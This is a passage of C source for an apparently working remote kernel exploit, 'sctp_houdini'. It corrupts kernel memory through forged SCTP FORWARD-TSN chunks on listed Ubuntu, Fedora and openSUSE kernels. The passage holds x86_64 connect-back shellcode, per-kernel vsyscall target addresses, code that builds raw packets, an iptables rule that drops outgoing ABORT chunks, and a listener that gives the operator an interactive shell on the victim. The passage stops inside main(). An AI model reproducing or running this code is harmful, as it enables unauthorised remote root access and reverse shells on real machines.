 1010x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
 1020x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
 1030x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
 1040x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
 1050xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
 1060x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
 1070x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
 1080x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
 1090xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
 1100xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
 1110x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
 1120x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
 1130xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
 1140xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
 1150x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
 1160x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
 1170xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
 1180xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
 1190x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
 1200x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
 1210x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
 1220xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
 1230x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
 1240x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
 1250x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
 1260xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
 1270x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
 1280x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
 1290xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
 1300xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
 1310x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
 1320x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
 1330xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
 134};
 135
 136static __u32 sctp_crc32c(const unsigned char* buf, __u32 len)
 137{
 138  __u32 i;
 139  __u32 crc32 = ~0U;
 140  __u32 r;
 141  unsigned char b0,b1,b2,b3;
 142
 143  for (i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++)
 144  {
 145    CRC32C(crc32, buf[i]);
 146  }
 147  CRC32C(crc32, 0);
 148  CRC32C(crc32, 0);
 149  CRC32C(crc32, 0);
 150  CRC32C(crc32, 0);
 151  for (i = HEADER_LEN; i < len; i++)
 152  {
 153    CRC32C(crc32, buf[i]);
 154  }
 155  r = ~crc32;
 156
 157  b0 = r & 0xff;
 158  b1 = (r>>8) & 0xff;
 159  b2 = (r>>16) & 0xff;
 160  b3 = (r>>24) & 0xff;
 161  crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
 162  return ( crc32 );
 163}
 164/* end crc routines */
 165
 166static char generic_x86_64_shellcode[] = 
 167// prolog 
 168"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb"
 169"\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80"
 170"\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0"
 171"\xb0\x60\x0f\x05\xc3"          
 172// connect back 
 173"\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58"                           
 174"\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f"
 175"\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"                 
 176"\x58\x0f\x05\x48\x31\xdb\x48\x39\xc3\x74\x07\x48"
 177"\x31\xc0\xb0\xe7\x0f\x05\x90"          
 178"\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75"
 179"\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48"
 180"\xf7\xd3\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48"
 181"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0"
 182"\xb0\xe7\x0f\x05"
 183;
 184
 185static const char __zero[4] = {0x00, 0x00, 0x00, 0x00};
 186//static char __force_crash[] = "\x41\x41\x41\x41\x41\x41\x41\x41";
 187
 188static char generic_x86_64_patchjump[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3";
 189static char generic_x86_64_jump[] = "\xe9\x2b\x09\x00\x00\x90";
 190
 191/* ubuntu 7.04 */
 192static char ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow[] = "\x00\x40\x56\x80\xFF\xFF\xFF\xFF";
 193static char ubuntu64_2_6_20_17_server_x86_64_vsys_shadow[] = "\x00\x90\x5B\x80\xFF\xFF\xFF\xFF";
 194
 195/* ubuntu 8.04 */
 196static char ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow[] =    "\x00\x50\x62\x80\xFF\xFF\xFF\xFF";  
 197static char ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow[] =   "\x00\x40\x62\x80\xFF\xFF\xFF\xFF";  
 198static char ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow[] =   "\x00\x30\x62\x80\xFF\xFF\xFF\xFF";
 199
 200static char ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow[] =  "\x00\x40\x5d\x80\xFF\xFF\xFF\xFF"; 
 201
 202/* ubuntu 8.10  */
 203static char ubuntu64_2_6_27_7_server_x86_64_vsys_shadow[] =  "\x00\x30\x6f\x80\xFF\xFF\xFF\xFF";  
 204static char ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow[] =  "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";   
 205
 206static char ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow[] =  "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";   
 207
 208/* fedora code 10  */
 209static char fedora64_10_default_kernel_x86_64_vsys_shadow[] = "\x00\x10\x57\x81\xFF\xFF\xFF\xFF";
 210static char fedora64_10_default_kernel_x86_64_selinux[]     = "\x84\xE6\x7C\x81\xFF\xFF\xFF\xFF";
 211
 212/* opensuse 11.1 */
 213static char opensuse64_11_1_default_kernel_x86_64_vsys_shadow[]="\x00\x10\x8E\x80\xFF\xFF\xFF\xFF";
 214
 215
 216#define __msg_f(format, args...) \
 217  do { fprintf(stdout, format, ## args); } while(0)
 218
 219#define __msg(msg) \
 220  do { fprintf(stdout, "%s", msg); } while(0)
 221
 222#define __fatal(msg) \
 223  do {fprintf(stderr, "%s", msg); exit(1);} while (0)
 224
 225#define __fatal_perror(msg) \
 226  do { perror(msg); exit(1); } while (0)
 227
 228enum {
 229  SLAB_ALLOCATOR=0,
 230  SLUB_ALLOCATOR=1
 231};
 232
 233typedef struct 
 234{
 235  const char *name;
 236  const char *info;
 237  char *scode;
 238  __u32 scodesize;
 239  __u32 portoff;
 240  __u32 hostoff;  
 241  const char *vsysaddr;
 242  const char *vsysjump;
 243  __u32 vsysjumpsize;
 244
 245  const char *vsyspatchjump;
 246  __u32 vsyspatchjumpsize;
 247 
 248  __u32 chunksize;
 249  __u32 slubsize; 
 250  __u32 ptrsize;
 251
 252  const char *selinux;
 253
 254  int allocator_type;
 255
 256} kinfo;
 257
 258static kinfo *k;
 259
 260typedef struct 
 261{
 262  const char* target;
 263  const char* rhost;
 264  const char* lhost;
 265  __u16 rport;
 266  __u16 lport;
 267  
 268  __u16 sport; // defines associations
 269  __u16 nconn;
 270  
 271} hinfo;
 272
 273static hinfo h = { NULL, NULL, NULL, 0, 0, 0, 600 };
 274
 275static kinfo kernels[] = { 
 276    { 
 277      "ubuntu64_faisty-2.6.20-[15-17]-generic", 
 278      "(faisty: generic kernel)", 
 279      generic_x86_64_shellcode, 
 280      sizeof(generic_x86_64_shellcode) -1, 
 281      __OFFSET_PORT_64,
 282      __OFFSET_HOST_64,
 283      ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow,
 284      generic_x86_64_jump,
 285      6,
 286      generic_x86_64_patchjump,
 287      8,
 288      40,
 289      256,
 290      8,
 291      NULL,
 292      SLAB_ALLOCATOR
 293    },
 294    { 
 295      "ubuntu64_faisty-2.6.20-17-server", 
 296      "(faisty: server kernel - last 2.6.20-17 build)", 
 297      generic_x86_64_shellcode, 
 298      sizeof(generic_x86_64_shellcode) -1, 
 299      __OFFSET_PORT_64,
 300      __OFFSET_HOST_64,
 301      ubuntu64_2_6_20_17_server_x86_64_vsys_shadow,
 302      generic_x86_64_jump,
 303      6,
 304      generic_x86_64_patchjump,
 305      8,
 306      40,
 307      256,
 308      8,
 309      NULL,
 310      SLAB_ALLOCATOR
 311    },
 312    {
 313      "ubuntu64_hardy-2.6.24-[18-21]-generic",
 314      "(kernel from 2.6.24-18 to kernel 2.6.24-21 -- generic)",
 315      generic_x86_64_shellcode,
 316      sizeof(generic_x86_64_shellcode) -1,
 317      __OFFSET_PORT_64,
 318      __OFFSET_HOST_64,
 319      ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow,
 320      generic_x86_64_jump,
 321      6,
 322      generic_x86_64_patchjump,
 323      8,
 324      40,
 325      96,
 326      8,
 327      NULL,
 328      SLUB_ALLOCATOR
 329    },
 330    {
 331      "ubuntu64_hardy_2.6.24-[16-18]-server",
 332      "(kernel from 2.6.24-16 to 2.6.24-18 -- server)", 
 333      generic_x86_64_shellcode,
 334      sizeof(generic_x86_64_shellcode) -1,
 335      __OFFSET_PORT_64,
 336      __OFFSET_HOST_64,
 337      ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow,
 338      generic_x86_64_jump,
 339      6,
 340      generic_x86_64_patchjump,
 341      8,
 342      40,
 343      96,
 344      8,
 345      NULL,
 346      SLUB_ALLOCATOR
 347    },
 348    {
 349      "ubuntu64_hardy-2.6.24-[19-22]-server",
 350      "(kernel from 2.6.24-19 to 2.6.24-22 -- server)", 
 351      generic_x86_64_shellcode,
 352      sizeof(generic_x86_64_shellcode) -1,
 353      __OFFSET_PORT_64,
 354      __OFFSET_HOST_64,
 355      ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow,
 356      generic_x86_64_jump,
 357      6,
 358      generic_x86_64_patchjump,
 359      8,
 360      40,
 361      96,
 362      8,
 363      NULL,
 364      SLUB_ALLOCATOR
 365    },
 366    {
 367      "ubuntu64_hardy-2.6.24-23-last-server",
 368      "(last 2.6.24-23 kernel before patch -- server)", 
 369      generic_x86_64_shellcode,
 370      sizeof(generic_x86_64_shellcode) -1,
 371      __OFFSET_PORT_64,
 372      __OFFSET_HOST_64,
 373      ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow,
 374      generic_x86_64_jump,
 375      6,
 376      generic_x86_64_patchjump,
 377      8,
 378      40,
 379      96,
 380      8,
 381      NULL,
 382      SLUB_ALLOCATOR
 383    },
 384    { 
 385      "ubuntu64_intrepid-2.6.27-7-server", 
 386      "(kernel 2.6.27-7 -- server)",
 387      generic_x86_64_shellcode, 
 388      sizeof(generic_x86_64_shellcode) -1, 
 389      __OFFSET_PORT_64,
 390      __OFFSET_HOST_64,
 391      ubuntu64_2_6_27_7_server_x86_64_vsys_shadow,
 392      generic_x86_64_jump,
 393      6,
 394      generic_x86_64_patchjump,
 395      8,
 396      40,
 397      96,
 398      8,
 399      NULL,
 400      SLUB_ALLOCATOR
 401    },
 402    { 
 403      "ubuntu64_intrepid-2.6.27-[9-last]-server", 
 404      "(kernel 2.6.27-9 to the last unpatched kernel -- server)",
 405      generic_x86_64_shellcode, 
 406      sizeof(generic_x86_64_shellcode) -1, 
 407      __OFFSET_PORT_64,
 408      __OFFSET_HOST_64,
 409      ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow,
 410      generic_x86_64_jump,
 411      6,
 412      generic_x86_64_patchjump,
 413      8,
 414      40,
 415      96,
 416      8,
 417      NULL,
 418      SLUB_ALLOCATOR
 419    },
 420    { 
 421      "ubuntu64_intrepid-2.6.27-[7-last]-generic", 
 422      "(kernel 2.6.27-9 to the last unpatched kernel -- server)",
 423      generic_x86_64_shellcode, 
 424      sizeof(generic_x86_64_shellcode) -1, 
 425      __OFFSET_PORT_64,
 426      __OFFSET_HOST_64,
 427      ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow,
 428      generic_x86_64_jump,
 429      6,
 430      generic_x86_64_patchjump,
 431      8,
 432      40,
 433      96,
 434      8,
 435      NULL,
 436      SLUB_ALLOCATOR
 437    },
 438    {
 439      "fedora64_10-2.6.25-117",
 440      "(fedora core 10 default installed kernel)",
 441      generic_x86_64_shellcode,
 442      sizeof(generic_x86_64_shellcode) -1,
 443      __OFFSET_PORT_64,
 444      __OFFSET_HOST_64,
 445      fedora64_10_default_kernel_x86_64_vsys_shadow,
 446      generic_x86_64_jump,
 447      6,
 448      generic_x86_64_patchjump,
 449      8,
 450      40,
 451      96,
 452      8,
 453      fedora64_10_default_kernel_x86_64_selinux,
 454      SLUB_ALLOCATOR
 455    },
 456    {
 457      "opensuse64_11.1-2.6.27.7-9-default",
 458      "(opensuse 11.1 default installed kernel)",
 459      generic_x86_64_shellcode,
 460      sizeof(generic_x86_64_shellcode) -1,
 461      __OFFSET_PORT_64,
 462      __OFFSET_HOST_64,
 463      opensuse64_11_1_default_kernel_x86_64_vsys_shadow,
 464      generic_x86_64_jump,
 465      6,
 466      generic_x86_64_patchjump,
 467      8,
 468      40,
 469      256, 
 470      8,
 471      NULL,
 472      SLAB_ALLOCATOR
 473    }
 474};
 475
 476
 477
 478/* modular arithmetic shift */
 479#define __SHIFT_CHECK 0x7FFF
 480static __u16 shift_0_to_7fff[3] = { 0x7FFF, 0xFFFE, 0x0000 };
 481static __u16 shift_8000_to_ffff[3] = { 0xFFFF, 0x7FFE, 0x8000 };
 482
 483/* global streams obj */
 484static __u16 streams[1000][2];
 485
 486/* get stream flow */
 487static int build_stream(const void *data, __u32 size, __u16 fc)
 488{
 489  int chunk_num,i,j,stnum=0;
 490  __u16 *p;
 491  __u16 *shift;
 492  if(size % 2)
 493    __fatal("[!!!] build_stream: data unaligned");
 494
 495  memset(streams, 0x00, sizeof(streams));
 496
 497  chunk_num = size / 2;
 498  p = (__u16*)data;
 499  for(i=0; i<chunk_num; i++, p++, fc++)
 500  {
 501    __u16 val  = *p - 1; 
 502    if(val <= __SHIFT_CHECK)
 503      shift = shift_0_to_7fff;
 504    else
 505      shift = shift_8000_to_ffff; 
 506
 507    for(j=0; j<3; j++)
 508    {
 509      streams[stnum][0] = fc;
 510      streams[stnum++][1] = shift[j];
 511    }
 512
 513    streams[stnum][0] = fc;
 514    streams[stnum++][1] = val;
 515  }
 516
 517  return stnum ? stnum : 0; 
 518}
 519
 520
 521/* some sctp packet header structs */
 522struct sctp_hdr
 523{
 524  __u16 sport;
 525  __u16 dport;
 526  __u32 vtag;
 527  __u32 checksum; 
 528  char chunks[0];
 529}__attribute__((packed));
 530
 531struct sctp_chk
 532{
 533  __u8 type;
 534  __u8 flags;
 535  __u16 len;
 536  char data[0];
 537}__attribute((packed));
 538
 539struct sctp_chunk_fwd
 540{
 541  __u8 type;
 542  __u8 flags;
 543  __u16 len;
 544  __u32 new_tsn;
 545}__attribute__((packed));
 546
 547
 548
 549enum 
 550{
 551  SCTP_INIT_ACK = 2,
 552  SCTP_SACK = 3,
 553  SCTP_FWD = 192
 554};
 555
 556
 557void disable_abort()
 558{
 559  /* lame trick to block  ABORT chunks from reaching the target!
 560   * ABORT messages are generated because we receive a SACK with an out-of-bound TSN 
 561   * in reply to all fake FWD sent
 562   * (when this happens local kernel kills the connection)
 563   */
 564
 565  system("iptables -t filter -A OUTPUT -p sctp --chunk-types any ABORT -j DROP");
 566}
 567
 568#define FWD_MAX_SIZE 0x1000
 569void *make_fwd_packet(__u16 sp, __u16 dp, __u32 vtag, __u32 tsn, 
 570                      __u16 streams[][2], int streamlen, int *p_len)
 571{
 572  int i;  
 573  __u16 *pstream;
 574  struct sctp_hdr *hdr;
 575  struct sctp_chunk_fwd *fwd;
 576  __u8 *__buff = malloc(FWD_MAX_SIZE);
 577  memset(__buff, 0, FWD_MAX_SIZE);
 578
 579  hdr = (struct sctp_hdr *)__buff;
 580
 581  hdr->sport = htons(sp);
 582  hdr->dport = htons(dp);
 583  hdr->vtag = htonl(vtag);
 584  hdr->checksum = 0;
 585  fwd = (struct sctp_chunk_fwd *)(hdr->chunks);
 586  fwd->type = SCTP_FWD;
 587  fwd->flags = 0;
 588  fwd->len = htons(4 + 4 + (streamlen * 4)); // chunk + ctsn + streams
 589  fwd->new_tsn = htonl(tsn+1);
 590
 591  /* build stream */
 592  pstream = (__u16 *)((&(fwd->new_tsn)) + 1);
 593  for(i=0; i<streamlen; i++)
 594  {
 595    *pstream++ = streams[i][0];
 596    *pstream++ = streams[i][1];
 597  }
 598
 599  *p_len = ntohs(fwd->len) + sizeof(*hdr);
 600  hdr->checksum = htonl(sctp_crc32c(__buff, (__u32)(*p_len)));
 601  return hdr; 
 602}
 603
 604
 605
 606/* this function gets VTAG/TSN bound with this socket pair */
 607int raw_socket_engine(__u16 sp, __u16 sp2, __u16 dp, 
 608                      __u32 *tsn, __u32 *vtag, __u32 *tsn2, __u32 *vtag2)
 609{
 610  char packet[1500];
 611  int p_len;
 612  void *end;
 613  struct sctp_hdr *hdr;
 614  struct sctp_chk *chk;
 615  __u32 tmp; 
 616  __u16 psp,pdp;
 617  fd_set r;
 618  struct timeval tv;
 619
 620  int raw_fd = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
 621  if(raw_fd < 0)
 622    __fatal_perror("socket: RAW/SCTP");
 623
 624
 625  FD_ZERO(&r);
 626  FD_SET(raw_fd, &r);
 627  tv.tv_usec=0;
 628  tv.tv_sec=10;
 629
 630  while(select(raw_fd + 1, &r, NULL,NULL,&tv) > 0)
 631  {
 632    p_len = read(raw_fd, packet, sizeof(packet));
 633    end = packet + p_len;
 634    hdr = (struct sctp_hdr *)(packet + sizeof(struct iphdr));
 635    if((void*)(((char *)hdr)+4)  >= end) 
 636      continue;
 637
 638    /* check for chunk */
 639    chk = (struct sctp_chk *)(hdr->chunks); 
 640    tmp  =  ntohl(*((__u32*)(chk->data)));
 641    psp = ntohs(hdr->sport);
 642    pdp = ntohs(hdr->dport);
 643    
 644    if(chk->type == SCTP_SACK)
 645    { 
 646      if(psp == dp && pdp == sp)
 647        *tsn  =  tmp;
 648
 649      if(psp == dp && pdp == sp2)
 650        *tsn2  =  tmp;
 651    }
 652    
 653    if(chk->type == SCTP_INIT_ACK) 
 654    {
 655      if(psp == dp && pdp == sp)
 656        *vtag =  tmp;
 657    
 658      if(psp == dp && pdp == sp2)
 659        *vtag2 =  tmp;
 660    }
 661
 662    if(*vtag && *tsn && *vtag2 && *tsn2)
 663      break;
 664
 665    FD_ZERO(&r);
 666    FD_SET(raw_fd, &r);
 667    tv.tv_usec=0;
 668    tv.tv_sec=10;
 669  } 
 670
 671  return 0;
 672}
 673
 674/* global vars */
 675static __u16 sport=0;
 676static __u16 sport2=0;
 677static __u32 vtag=0, vtag2=0;
 678static __u32 tsn=0, tsn2=0;
 679
 680static struct sockaddr_in server_sctp;
 681int raw_sctp=-1;
 682
 683#define STACK_SIZE 0x1000
 684char clone_stack[STACK_SIZE*2];
 685
 686
 687static void send_fwd_chunk(__u16 sp, __u16 dp, __u16 streams[][2], 
 688                    int streamlen, __u32 vtag, __u32 tsn)
 689{
 690  int p_len=0, ret;
 691  void *packet = make_fwd_packet(sp, dp, vtag, tsn, streams, streamlen, &p_len);
 692  ret = sendto(raw_sctp, packet, p_len, 0, (struct sockaddr *)&server_sctp, sizeof(struct sockaddr_in)); 
 693  if(ret < 0)
 694    __fatal_perror("sendto: sending FWD chunk");
 695
 696  free(packet);
 697}
 698
 699
 700
 701static int clone_thread(void *p)
 702{
 703  raw_socket_engine(sport, sport2, h.rport, &tsn, &vtag, &tsn2, &vtag2);
 704  return 0;
 705}
 706
 707
 708static int make_sctp_connection(__u16 sp, __u16 dp, int data)
 709{
 710  struct sctp_initmsg msg;
 711  int ret,o=1,fd;
 712  socklen_t len_sctp=sizeof(struct sctp_initmsg);
 713  struct sockaddr_in s,c;
 714
 715  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
 716  if(fd < 0)
 717    __fatal_perror("socket: sctp SOCK_STREAM");
 718
 719  ret = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));
 720  if (ret < 0) 
 721   __fatal_perror("setsockopt: SO_REUSEADDR");
 722
 723
 724  /* NOTE: here we assume server peer allocates  10 output streams (as default)
 725   * if the applciation behaves differently you must probe and change channels size
 726   * to get the correct slab  */
 727
 728  if(k->allocator_type == SLAB_ALLOCATOR) // if SLAB change channel size 
 729  {
 730    getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
 731    msg.sinit_num_ostreams=50; // force 256 slab allocation
 732    msg.sinit_max_instreams=10;
 733    setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
 734  }
 735  else
 736  {
 737    getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
 738    msg.sinit_num_ostreams=10; // force 96 slab allocation
 739    msg.sinit_max_instreams=10;
 740    setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
 741  }
 742
 743
 744  if(sp)
 745  {
 746    c.sin_family = PF_INET;
 747    c.sin_port = htons(sp);
 748    c.sin_addr.s_addr = INADDR_ANY;
 749    ret = bind(fd, (struct sockaddr *)&c, sizeof(c));
 750    if(ret < 0)
 751      __fatal_perror("bind: sctp socket");
 752  }
 753
 754  s.sin_family = PF_INET;
 755  s.sin_port   = htons(dp); 
 756  s.sin_addr.s_addr = inet_addr(h.rhost);
 757
 758  ret = connect(fd, (struct sockaddr *)&s, sizeof(s));
 759  if(ret < 0)
 760    __fatal_perror("connect: sctp socket");
 761
 762  
 763  /* send one byte of data to get correctly 
 764   * TSN from raw socket (from SACK replies) 
 765   */
 766  if(data)
 767  {
 768    ret = send(fd, "", 1, 0);
 769    if(ret < 0)
 770      __fatal_perror("send: sctp socket data");
 771  }
 772  return fd;
 773}
 774
 775
 776static void htons_streams(__u16 s[][2], int len)
 777{
 778  int i;
 779  for(i=0; i<len; i++)
 780  {
 781    s[i][0] = htons(s[i][0]);
 782    s[i][1] = htons(s[i][1]);
 783  }
 784}
 785
 786
 787static void usage()
 788{
 789  fprintf(stderr, "./sctp_houdini \n\t"
 790                  "-H lhost   (local host address for connect back shel)\n\t"
 791                  "-P lport   (local port address for connect back shell)\n\t"
 792                  "-h rhost   (remote target host)\n\t"
 793                  "-p rport   (remote target port)\n\t"
 794                  "-t kernel  (target kernel)\n\t"
 795                  "-s sport   (source port defining sctp association where corruption occurs)\n\t"
 796                  "           (always use higher port if you run the exploit multiple times eg. 20000, 21000, etc..)\n\t"
 797                  "           (NEVER reuse the same or next port or vsys will be trashed and init will die soon...)\n\t"
 798                  "-c conn    (number of connectionis before corruption - default 600)\n"
 799                  );
 800}
 801
 802static void sctp_getopt(int argc, char *argv[])
 803{
 804  int ret,i;
 805
 806  while((ret = getopt(argc, argv, "H:P:p:h:t:c:s:")) != -1)
 807  {
 808    switch(ret)
 809    {
 810      case 'P':
 811        h.lport = atoi(optarg); 
 812        break;
 813
 814      case 'p':
 815        h.rport = atoi(optarg);
 816        break;
 817
 818      case 't':
 819        h.target = optarg;
 820        break;
 821
 822      case 'h':
 823        h.rhost = optarg;
 824        break;
 825    
 826      case 'H':
 827        h.lhost = optarg;
 828    
 829      case 'c':
 830        h.nconn = atoi(optarg);
 831        break;
 832
 833      case 's':
 834        h.sport = atoi(optarg);
 835        break;
 836    }
 837  }
 838
 839
 840  if(!h.lport || !h.rport || !h.rhost || !h.target || !h.lhost || !h.sport)
 841  {
 842    usage();
 843    exit(1);
 844  }
 845
 846  if(h.sport < h.nconn+1)
 847  {
 848    fprintf(stderr, "Source Association Port is too low: %d\n", h.sport);
 849    usage(); 
 850    exit(1);
 851  }
 852
 853  sport=h.sport;
 854  sport2=h.sport + 1;
 855
 856  for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++)
 857  {
 858    if(!strcmp(h.target, kernels[i].name))
 859    {
 860      k = &kernels[i];
 861      break;
 862    }
 863  }  
 864
 865  if(k==NULL)
 866  {
 867    fprintf(stderr, "Unable to find target: %s\nAvailable targets are:\n", h.target);
 868    for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++)
 869    {
 870      fprintf(stderr, "- %s  %s\n", kernels[i].name, kernels[i].info);
 871    }
 872    exit(1);
 873  }
 874}
 875
 876void patchjump()
 877{
 878  int ret;
 879
 880  __msg("[**] Restoring vsys: Emulate gettimeofday()... \n");
 881  ret = build_stream(k->vsyspatchjump, k->vsyspatchjumpsize, 0); 
 882  if(ret < 0)
 883    __fatal("Error Building Streams...");
 884
 885  htons_streams(streams, ret);
 886  send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); 
 887
 888}
 889
 890
 891static void multiplex(int listenfd)
 892{
 893  int ret,new_fd;
 894  fd_set r;
 895  struct timeval t;
 896  char buffer[1500];
 897
 898
 899  FD_ZERO(&r);
 900  FD_SET(listenfd, &r);
 901  t.tv_sec = 3;
 902  t.tv_usec = 0;
 903  __msg("[**] Waiting daemons executing gettimeofday().. this can take up to one minute...\n");
 904  __msg("[**] ..");
 905  fflush(stdout);
 906
 907  while(select(listenfd+1, &r, NULL, NULL, &t) == 0)
 908  {
 909    printf("..");
 910    fflush(stdout);
 911    t.tv_sec = 3;
 912    t.tv_usec = 0;
 913    FD_ZERO(&r);
 914    FD_SET(listenfd, &r);
 915  }
 916  __msg("..\n");
 917
 918  new_fd = accept(listenfd, NULL, 0);
 919  if(new_fd < 0)
 920    __fatal_perror("accept: listen fd");
 921 
 922
 923  __msg("[**] Connected!\n"); 
 924  patchjump(); 
 925
 926  close(listenfd);
 927  
 928  write(new_fd, "id\n", 3);
 929
 930  FD_ZERO(&r);
 931  FD_SET(new_fd, &r);
 932  FD_SET(0, &r);
 933  while(select(new_fd+1, &r, NULL, NULL, NULL) > 0)
 934  {
 935    if(FD_ISSET(0, &r)) // read from stdin
 936    {
 937      ret = read(0, buffer, sizeof(buffer)); 
 938      if(ret < 0)
 939        __fatal_perror("read: from stdin");
 940      else 
 941        ret = write(new_fd, buffer, ret);
 942    }
 943
 944    if(FD_ISSET(new_fd, &r))
 945    {
 946      ret = read(new_fd, buffer, sizeof(buffer));
 947      if(!ret) {
 948        __msg("Endopoint closed the connection\n");
 949        break;
 950      }
 951      else if(ret > 0)
 952      {
 953        write(1, buffer, ret); 
 954      }
 955      else 
 956        __fatal_perror("read: from net");
 957    }
 958
 959    FD_ZERO(&r);
 960    FD_SET(new_fd, &r);
 961    FD_SET(0, &r);
 962  }
 963  
 964}
 965
 966
 967/* needed when exploiting old SLAB */
 968void swap_to_SLAB_chunk()
 969{
 970  __u32 tmp;  
 971  __u16 tmp16;
 972
 973  tmp =  tsn;
 974  tsn = tsn2;
 975  tsn2 = tmp;
 976
 977  tmp = vtag;
 978  vtag = vtag2;
 979  vtag2 = tmp;
 980
 981  tmp16 = sport;
 982  sport = sport2;
 983  sport2 = tmp16;
 984}
 985
 986
 987
 988int main(int argc, char **argv)
 989{
 990
 991  int ret, fd, i, listenfd,o=1;
 992  struct sockaddr_in l;
 993  __u32 lh;
 994  __u16 lp;
 995
 996  sctp_getopt(argc, argv);
 997
 998  listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 999  if(setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)) < 0)
1000   __fatal_perror("setsockopt: SO_REUSEADDR");
1001  
1002  l.sin_family = PF_INET;
1003  l.sin_port = htons(h.lport); 
1004  l.sin_addr.s_addr = inet_addr(h.lhost);
1005  if(bind(listenfd, (struct sockaddr *)&l, sizeof(l)) < 0)
1006    __fatal_perror("bind: sock");
1007  
1008  if(listen(listenfd, 4) < 0)
1009    __fatal_perror("listen: sock");
1010  
1011
1012  /* set connect back params */
1013  lh = inet_addr(h.lhost);
1014  lp = htons(h.lport);
1015  memcpy(k->scode + k->portoff, &lp, 2);
1016  memcpy(k->scode + k->hostoff, &lh, 4);
1017
1018  raw_sctp = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
1019  if(raw_sctp < 0)
1020    __fatal_perror("socket: RAW/SCTP montitor socket");
1021  
1022  server_sctp.sin_family = PF_INET;
1023  server_sctp.sin_port = htons(h.rport); 
1024  server_sctp.sin_addr.s_addr = inet_addr(h.rhost);
1025
1026  __msg("[**] Monitoring Network for TSN/VTAG pairs.. \n");
